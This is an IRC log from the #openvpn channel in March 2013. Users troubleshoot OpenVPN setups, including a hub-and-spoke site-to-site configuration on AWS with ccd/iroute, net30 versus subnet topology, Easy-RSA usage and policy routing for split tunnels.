14:53 -!- dazo_afk is now known as dazo
14:56 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Quit: No Ping reply in 180 seconds.]
14:57 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
14:58 -!- dazo is now known as dazo_afk
15:07 -!- dazo_afk is now known as dazo
15:07 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao]
15:20 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Read error: Operation timed out]
15:27 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
15:31 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has quit [Quit: Have to go. Good bye!]
15:33 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
15:42 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:17 -!- master_o1_master [~master_of@p4FF244B8.dip.t-dialin.net] has joined #openvpn
16:17 -!- master_of_master [~master_of@p4FF24D8B.dip.t-dialin.net] has quit [Read error: Operation timed out]
16:21 -!- JSharpe_ [~JSharpe@ns264658.ovh.net] has joined #openvpn
16:25 -!- JSharpe [~JSharpe@ip5-63-150-164.lon.ukinetcom.net] has quit [Ping timeout: 252 seconds]
16:26 -!- JSharpe__ [~JSharpe@46.165.210.17] has joined #openvpn
16:30 -!- JSharpe_ [~JSharpe@ns264658.ovh.net] has quit [Ping timeout: 245 seconds]
16:30 -!- JSharpe__ is now known as JSharpe
16:50 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
17:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
17:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:25 -!- p3rror [~mezgani@41.249.129.50] has joined #openvpn
17:27 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
17:29 -!- EugeneKay [eugene@madeitwor.se] has quit [Ping timeout: 245 seconds]
17:29 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 245 seconds]
17:29 -!- APTX [APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
17:29 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
17:30 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 245 seconds]
17:30 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
17:30 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Ping timeout: 245 seconds]
17:30 -!- kisom [~kisom@n186-p13.kthopen.kth.se] has quit [Ping timeout: 276 seconds]
17:30 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 245 seconds]
17:30 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
17:30 -!- hazardous [~dbn@void.kassad.in] has joined #openvpn
17:32 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
17:32 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
17:33 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:33 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
17:33 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 258 seconds]
17:34 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
17:34 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
17:35 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
17:35 -!- EugeneKay [eugene@madeitwor.se] has joined #openvpn
17:36 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
17:37 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
17:38 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
17:38 -!- kisom [~kisom@n186-p13.kthopen.kth.se] has joined #openvpn
17:38 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 246 seconds]
17:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
17:48 -!- Prolac [~rope@unaffiliated/prolac] has joined #openvpn
17:55 -!- mezgani [~mezgani@41.140.202.88] has joined #openvpn
17:59 -!- p3rror [~mezgani@41.249.129.50] has quit [Ping timeout: 264 seconds]
18:01 -!- mezgani [~mezgani@41.140.202.88] has quit [Read error: Operation timed out]
18:02 -!- p3rror [~mezgani@41.140.101.234] has joined #openvpn
18:10 -!- p3rror [~mezgani@41.140.101.234] has quit [Ping timeout: 246 seconds]
18:15 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
18:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
18:24 -!- mode/#openvpn [+o krzee] by ChanServ
18:25 -!- p3rror [~mezgani@adsl196-203-19-217-196.adsl196-9.iam.net.ma] has joined #openvpn
18:27 -!- Prolac [~rope@unaffiliated/prolac] has quit [Remote host closed the connection]
18:34 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
18:40 -!- p3rror [~mezgani@adsl196-203-19-217-196.adsl196-9.iam.net.ma] has quit [Quit: Leaving]
18:52 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
19:08 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
19:11 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:11 -!- Dave is now known as Dave2
19:19 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
19:24 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
19:54 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
20:42 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:44 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 255 seconds]
20:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:58 -!- sauce [sauce@unaffiliated/sauce] has quit [Quit: sauce]
20:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving]
21:05 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 256 seconds]
21:05 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
21:05 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
21:07 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
21:07 -!- mode/#openvpn [+o krzee] by ChanServ
21:21 -!- noahmehl [~noahmehl@cpe-75-186-45-161.cinci.res.rr.com] has joined #openvpn
21:21 < noahmehl> i'm using openvpnas
21:22 < noahmehl> and I'm wondering how group permissions work in conjunction with ldap
21:22 < noahmehl> I can't find any documentation explaining how to use an ldap group as a group in openvpnas
21:22 < noahmehl> anyone have experience here?
21:24 < noahmehl> oh, there's a different room for this
21:24 < pekster> /TOPIC says:
21:24 < pekster> !as
21:24 < noahmehl> i'll post there
21:24 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
21:24 < pekster> :)
21:25 < noahmehl> already beat you to it ;)
21:30 -!- sauce [~sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
21:30 -!- sauce [~sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
21:30 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
21:37 -!- krzee [~k@openvpn/community/support/krzee] has left #openvpn ["Leaving"]
21:59 -!- noahmehl [~noahmehl@cpe-75-186-45-161.cinci.res.rr.com] has quit [Quit: noahmehl]
22:07 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Ping timeout: 256 seconds]
22:09 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
22:23 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
22:35 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
22:35 -!- mode/#openvpn [+o krzee] by ChanServ
22:44 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
23:08 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Quit: nonotza]
23:21 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
23:25 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Client Quit]
23:26 -!- fluter [~fluter@fedora/fluter] has quit [Read error: Operation timed out]
23:27 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
--- Day changed Sun Mar 24 2013
00:00 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
00:01 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:03 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
00:03 -!- MeanderingCode_ [~Meanderin@71-213-190-2.albq.qwest.net] has joined #openvpn
00:04 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 252 seconds]
00:07 -!- [fred] [fred@konfuzi.us] has joined #openvpn
00:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
01:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:22 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
02:35 -!- emmanuel__ [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
02:54 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
03:26 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
03:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:36 -!- Orbi [~opera@anon-186-55.vpn.ipredator.se] has joined #openvpn
03:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
04:12 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
04:12 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
04:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
04:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:16 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
04:23 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:30 -!- Orbi [~opera@anon-186-55.vpn.ipredator.se] has left #openvpn []
04:33 -!- brute11k [~brute@89.249.230.134] has quit [Ping timeout: 252 seconds]
04:34 -!- Orbi [~opera@anon-186-55.vpn.ipredator.se] has joined #openvpn
04:41 -!- brute11k [~brute@89.249.230.134] has joined #openvpn
04:45 < jzaw> ping pekster
04:46 < jzaw> just pondering this split routing non def1 vpn
04:47 < jzaw> and the public ips i have on the client lan
04:50 < jzaw> if you remember pinging fuji-pl.dzki.co.uk (ipv4) the echo request comes down the vpn to the client router then onto the client lan and hits the lappy but reply goes out the default route ie the nat
04:51 < jzaw> i can fix that on an individual bases on linux hosts by adding a ip table rule to detect where the request has come from
04:52 < jzaw> but that wont work for things like a pap2 voip ata
05:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
05:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:15 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
05:24 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 258 seconds]
05:25 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
05:26 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Client Quit]
05:32 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
05:44 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
05:46 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:48 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
05:49 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 258 seconds]
05:59 -!- gladiatr [~usualfrog@openvpn/community/support/gladiatr] has joined #openvpn
06:04 -!- JSharpe [~JSharpe@46.165.210.17] has quit [Read error: Connection reset by peer]
06:05 -!- JSharpe [~JSharpe@46.165.210.17] has joined #openvpn
06:05 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 258 seconds]
06:05 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 258 seconds]
06:06 -!- emmanuel__ [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 258 seconds]
06:07 -!- tekzilla [~jon@24.134.142.157] has quit [Ping timeout: 258 seconds]
06:07 -!- tekzilla [~jon@24.134.142.157] has joined #openvpn
06:07 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
06:07 -!- emmanuel__ [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
06:10 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
06:56 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
07:07 < jzaw> pekster, i may have got it !
07:36 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 264 seconds]
07:54 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 258 seconds]
08:02 -!- penk [~dave@216.142.113.233] has joined #openvpn
08:45 -!- teknoprep [~quassel@c-50-152-69-94.hsd1.pa.comcast.net] has joined #openvpn
08:46 -!- teknoprep [~quassel@c-50-152-69-94.hsd1.pa.comcast.net] has quit [Changing host]
08:46 -!- teknoprep [~quassel@unaffiliated/teknoprep] has joined #openvpn
08:47 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:47 < teknoprep> how would i setup a single OVPN Server... then have 2 clients (these are site to site vpn's)... use the same OVPN server? do i have to create a different OVPN server for each remote site.. using a different port... and a different Transfport Network ?
08:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
08:53 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has joined #openvpn
08:55 < Volkswagner> Greetings, with the help from Poster, I have setup server on my router and connect via client, routed tun connection.
08:55 < Volkswagner> configs here http://pastebin.com/vv93Y4Hx
08:56 < Volkswagner> It appears the when the client connects is shows the Tun0 ip address, I expected to see the remote lan address, is this normal?
08:58 < Volkswagner> here is result from ifconfig on the mac while tunnel is active http://pastebin.com/YVaG6FGA
08:59 < Volkswagner> With tunnel connected, I can ssh into client located on servers LAN, but the ssh machine sees my ip as 10.0.0.6
08:59 < jzaw> teknoprep not done it myself and in the absence of higher more knowledgeable answers
09:00 < rob0> Volkswagner, what's wrong with that?
09:00 < jzaw> you just run a single instance and make sure your tun subnet has enough ips .. + maybe run topology /30
09:00 < Volkswagner> When checking the Openvpn server the /tmp/ipp.txt shows the same machine as Eric,10.0.0.4
09:00 < jzaw> so each subsequent client gets the next ip
09:01 < teknoprep> jzaw... here is where i am stumbling... how will it know to route to a remote network
09:01 < Volkswagner> rob0, I'm not sure if it is wrong, it is not what I expected, I thought the tunnel ip's would be "invisible"
09:01 < teknoprep> each client will have a different subnet behind it
09:01 < jzaw> each remote network lan ips much be non clashing
09:01 < rob0> no. When you are using the tunnel IP address, that's what will show on the other side.
09:01 < teknoprep> this is a Site-Site / Hub & Spoke configuration
09:02 < jzaw> and you just route to that subnet down the tun
09:02 < jzaw> but each client needs ccd/clientcertcommonname file
09:02 < teknoprep> how does the openVPN server know to "just route" down the correct tunnel
09:02 < jzaw> to define its routes etc
09:03 < Volkswagner> rob0, ok the result from ifconfig just seemed a bit weird to me >>> inet 10.0.0.6 --> 10.0.0.5 netmask 0xffffffff
09:03 < Volkswagner> also the ip did not match with /tmp/ipp.txt
09:04 < Volkswagner> I'm getting high latency, and I'm wondering if it is just my test environment (cellular > wifi share > tunnel)
09:05 < teknoprep> jzaw... when a client connects to the server... in the client config can i tell the server what networks exist on the client side ?
09:05 < rob0> I guess that's 10.0.0.6 on your end, 10.0.0.5 is the peer. It sounds like you're using "--topology net30", and if so, why? It's rarely a good idea, only needed to support ancient openvpn clients.
09:05 < teknoprep> that would make everything work
09:05 < rob0> !clientlan
09:05 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
09:05 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
09:06 < jzaw> teknoprep, what rob0 said ^^^^
09:08 < Volkswagner> rob0, I don't have --topology net30 on my config, unless it is a default on OpenVPN @openwrt, it should not be the reason???
09:10 < Volkswagner> http://ircpimps.org/clientlan.png = 404 not found
09:11 < jzaw> Volkswagner, not 404 for me
09:11 < rob0> wfm also
09:14 < Volkswagner> hmn, must be an opendns issue, works via hidemyass.com, but not on any of my router connected clients
09:14 < rob0> haha maybe opendns protecting you from "pimps" :)
09:16 < Volkswagner> is there a command I can use to check all server configs? ie: find defaults not listed on server config file?
09:18 < teknoprep> it'll probably be easier to setup 2 vpn servers on one server using different ports
09:19 < jzaw> teknoprep, you still have to set the routes up
09:19 < teknoprep> thats easy to do
09:19 < jzaw> if you know them for two instances
09:19 < jzaw> you know them for one
09:20 < teknoprep> how do i puch a static IP to the client
09:20 < teknoprep> ccd ?
09:20 < teknoprep> i am not quite understand ccd
09:21 < teknoprep> i will have a tunnel network... lets say i make is a /28 so i can encompass all the remote clients
09:22 < teknoprep> each remote client will have a /24 behind them
09:22 < teknoprep> i then use iroute and route to route to and from those networks
09:22 < teknoprep> the issue i am running into is how to staticlly assign a tunnel network IP to each client
09:22 < teknoprep> so the routes never change
09:23 < jzaw> iroute in ccd file
09:23 < jzaw> each file is named as the commonname of the cert for that client
09:24 < jzaw> then a route statement in the main conf
09:24 < jzaw> for each client
09:24 < jzaw> if ive got it rignt ... not done it myself ... so it bares correcting
09:24 < jzaw> a /24 maybe a tad excessive
09:24 < jzaw> how many clients do you have?
09:25 < teknoprep> http://openvpn.net/index.php/open-source/faq/77-server/273-qifconfig-poolq-option-use-a-30-subnet-4-private-ip-addresses-per-client-when-used-in-tun-mode.html
09:25 <@vpnHelper> Title: "ifconfig-pool" option use a /30 subnet (4 private IP addresses per client) when used in TUN mode? (at openvpn.net)
09:25 < teknoprep> 6 clients
09:25 < teknoprep> all clients are interconnected by IPsec
09:25 < teknoprep> we are adding all 6 clients to then connect over OpenVPN to an OpenVPN server in Amazon AWS
09:25 < teknoprep> i guess i have to create a /30 network for each client
09:28 < teknoprep> so i don't think i can do this with a shared key
09:28 < teknoprep> i have to use SSL/TLS
09:28 < teknoprep> each client must have a different Cert if i am understanding this correctly
09:28 < teknoprep> so OpenVPN can differentiate which client is connecting
09:29 < jzaw> you dont need a /30 per client if you use topology /30
09:30 < jzaw> and yes its prob better to use a cert per client id have thought
09:30 < teknoprep> ?
09:30 < jzaw> !/30
09:30 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
09:30 < jzaw> !topology
09:30 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
09:30 < teknoprep> no windows clients here
09:31 < rob0> Volkswagner, verb 4 IIRC prints out all the settings.
09:34 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
09:39 < jzaw> teknoprep, works with linux clients too afaik
09:47 < teknoprep> hey looks like i did it
09:47 < teknoprep> w0ot
09:47 < teknoprep> what a PITA
09:47 < teknoprep> lol
09:47 < jzaw> nice
09:48 < jzaw> multi instances
09:48 < Volkswagner> rob0, thanks.  I have changed the server config to option 'verb' '4', and tried start from command line, no extra output
09:48 < jzaw> or single ?
09:48 < teknoprep> single
09:48 < teknoprep> all on same port
09:48 < Volkswagner> what might I be doing wrong?
09:48 < teknoprep> 1194
09:48 < jzaw> good goo
09:48 < jzaw> d
09:48 < teknoprep> multi instance would have been easy to do
09:48 < teknoprep> why do it the easy way
09:48 < jzaw> hehe ... well i have an unusual setup myself
09:48 < jzaw> too
09:49 < teknoprep> i am not used to using SSL/TLS Peer to Peer configurations.. i usually just do a shared key
09:49 < teknoprep> i had to have a TLS Auth license
09:49 < jzaw> in my case ive got a no nat server end and a nat client end with hosts behind
09:49 < teknoprep> or cert
09:50 < teknoprep> ahh
09:50 < jzaw> to which ive given nat public ips
09:50 < teknoprep> i was thinking about building a network from my house to my office
09:50 < jzaw> and are only accessible via the vpn
09:50 < teknoprep> and pass down VLAN's
09:50 < teknoprep> can i do 802.1q over OPVN Bridge ?
09:50 < jzaw> but i dont sent all traffic down the vpn ... those client end hosts can browse normally out of the nat
09:51 < jzaw> bridge is bridge and can do anthing a bridge can do
09:51 < jzaw> layer 2
09:51 < teknoprep> nice
09:55 < teknoprep> w0ot
09:55 < teknoprep> it worked
09:55 < teknoprep> 10.0.1.1 and 10.0.2.1 are differentiated by the client certs
09:55 < teknoprep> this rocks
09:56 < teknoprep> now i know how to finish up to make routing work
09:56 < jzaw> the problem with split routing and public ips is that a ping to the client end host on an ip enters via the vpn ... but leaves via the default route ie the nat ... no ping reply
09:56 < teknoprep> since they will always get the same IP
09:56 < jzaw> thats the idea
09:56 < jzaw> predictable routes
09:56 < teknoprep> thats what i was trying to wrap my head around earlier
09:56 < teknoprep> i couldn't figure out how the clients would always get the same IP address if they were on the same openvpn instance
09:56 < teknoprep> now i get it
09:56 < teknoprep> lol
09:57 < jzaw> the tricky thing is that you have to have the iroute in the ccd file and route in the conf
09:57 < teknoprep> what is the iroute command for ?
09:57 < teknoprep> !iroute
09:57 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
09:58 < teknoprep> so right now... on each client specifig config i have ... push "route 10.254.1.0 255.255.255.0";
09:58 < teknoprep> this is the network inside my Amazon AWS
09:58 < jzaw> read up how to push different ifconfig settings
09:59 < teknoprep> i will also need to setup an "iroute 10.20.1.0 255.255.255.0"; first site
09:59 < teknoprep> this needs to be in the server.. am i understanding this correctly ?
10:06 < teknoprep> differen ifconfig settings ?
10:13 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:14 < teknoprep> 10.254.1.0/24	10.0.1.2	UGS	0	0	1500	ovpnc1
10:14 < teknoprep> problem is i can't ping anything on that network
10:14 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
10:14 < teknoprep> from the 10.20.1.0/24 network... i can't ping anything on the 10.254.1.0/24 network... not even the openvpn server local IP
10:15 < teknoprep> i have an iroute command in the ccd... i have a route command at the server config that says push 10.254.1.0/24 to all the clients.. that seems to be working
10:15 < teknoprep> how do i check if the iroute command is actually working properly ?
10:16 < teknoprep> should my OpenVPN server be able to ping the IP address handed out to the OpenVPN client ?
10:16 < teknoprep> the network is 10.0.1.0/30... so i am assuming .0 network / .1 server / .2 client / .3 broadcast
10:17 < teknoprep> so should the OpenVPN server(10.0.1.1) be able to ping The Client (10.0.1.2)
10:28 -!- JSharpe_ [~JSharpe@46.165.210.17] has joined #openvpn
10:28 -!- JSharpe_ [~JSharpe@46.165.210.17] has quit [Read error: Connection reset by peer]
10:36 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
10:39 < teknoprep> ??
10:46 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
10:48 < jzaw> teknoprep, yes
10:48 < teknoprep> i can't
10:48 < jzaw> whats your networks look like?
10:49 < jzaw> 192.x.x.x. - tun 10.0.1.1 - 10.0.1.2 - 192.y.y.y    ?
10:52 < teknoprep> one sec let me bring back up the tunnels
10:52 < teknoprep> so this is how it looks
10:52 < teknoprep> (Client1)192.168.1.0/24 - tun 10.0.1.2 - 10.0.1.1 - 10.254.1.0/24(Server in AWS)
11:23 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
11:24 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
11:24 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:24 < bkrieg1337> hello
11:24 < bkrieg1337> is it necessary to always .var, .clean-all
11:25 < bkrieg1337> when creating for additional clients
11:25 < bkrieg1337> will the previous be deleted by . clean-all?
11:25 < teknoprep> jzaw: should my client be able to ping 10.0.1.1 ?
11:26 < teknoprep> jzaw: and should the server be able to ping 10.0.1.2 ?
11:26 < teknoprep> i can ping 10.0.1.1 from my client side
11:27 < teknoprep> but the ping time is .184ms... it must be local the 10.0.1.1 address
11:28 < pekster> bkrieg1337: In Easy-RSA 2.x you need to source vars any time you're in a new terminal or environment before you perform PKI tasks. You should never run clean-all unless you want to remove all your PKI files and start completely over (new CA, etc)
11:28 < bkrieg1337> thank you
11:33 < teknoprep> 10.254.1.0/24	10.0.1.6	UGS	0	2	1500	ovpnc1
11:33 < teknoprep> that is my new route... i made a few changes
11:33 < teknoprep> i can't ping that interface tho from the 192.168.1.0/24 network
11:33 < teknoprep> ip forwarding is enabled
11:34 < teknoprep> hell i can't ping that interface ip from the local box that is running OpenVPN
11:34 < pekster> teknoprep: What's your situation? LAN behind the server?
11:34 < teknoprep> 192.x.x.x. - tun 10.0.1.1 - 10.0.1.2 - 192.y.y.y    ?
11:34 < teknoprep> sorry let me update
11:35 < teknoprep> (CLIENT)192.168.1.0/24 - tun 10.0.1.6 - 10.0.1.5 tun - 10.254.1.0/24(OpenVPN Server in AWS)
11:35 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
11:35 < pekster> So you have LANs at both ends you're trying to route across the VPN for?
11:35 < teknoprep> everything is UP at this point for the VPN's
11:35 < teknoprep> yes
11:35 < teknoprep> now to get routes to push properly
11:35 < pekster> Pick one at a time to get working (one LAN to connect to the opposing peer's VPN IP)
11:36 < pekster> !serverlan
11:36 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
11:36 < pekster> Then when the server-side LAN is working, see:
11:36 < pekster> !clientlan
11:36 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
11:36 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
11:36 < teknoprep> yes i already have all of that done
11:36 < teknoprep> ip-forwarding is enabled on both OpenVPN server/client
11:36 < teknoprep> no rules blocking traffic
11:37 < teknoprep> from the Client OpenVPN Client ... should i be able to ping the ip address 10.0.1.6 ?
11:37 < teknoprep> this is the IP address that is staticly assigned from the OpenVPN server
11:38 < pekster> Nope, it's a virtual peering IP in /net30. You shouldn't use that unless you *actually* need to support 2.0.9 Windows clients that are over 6 years old
11:38 < pekster> !/30
11:38 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
11:38 < teknoprep> gotcha
11:40 < jzaw> pekster, did you see .. i got that split routing working with proper returns of traffic initiated through the vpn
11:41 < jzaw> if you ping/trace fuji-pl.dzki.co.uk now on ipv4 it traces the route properly
11:41 < pekster> Policy routing does great things when properly set up
11:42 < jzaw> its all MARK and CONNMARK    with rules and routes
11:43 < jzaw> kind of tidy really
11:43 < jzaw> very pleased it works
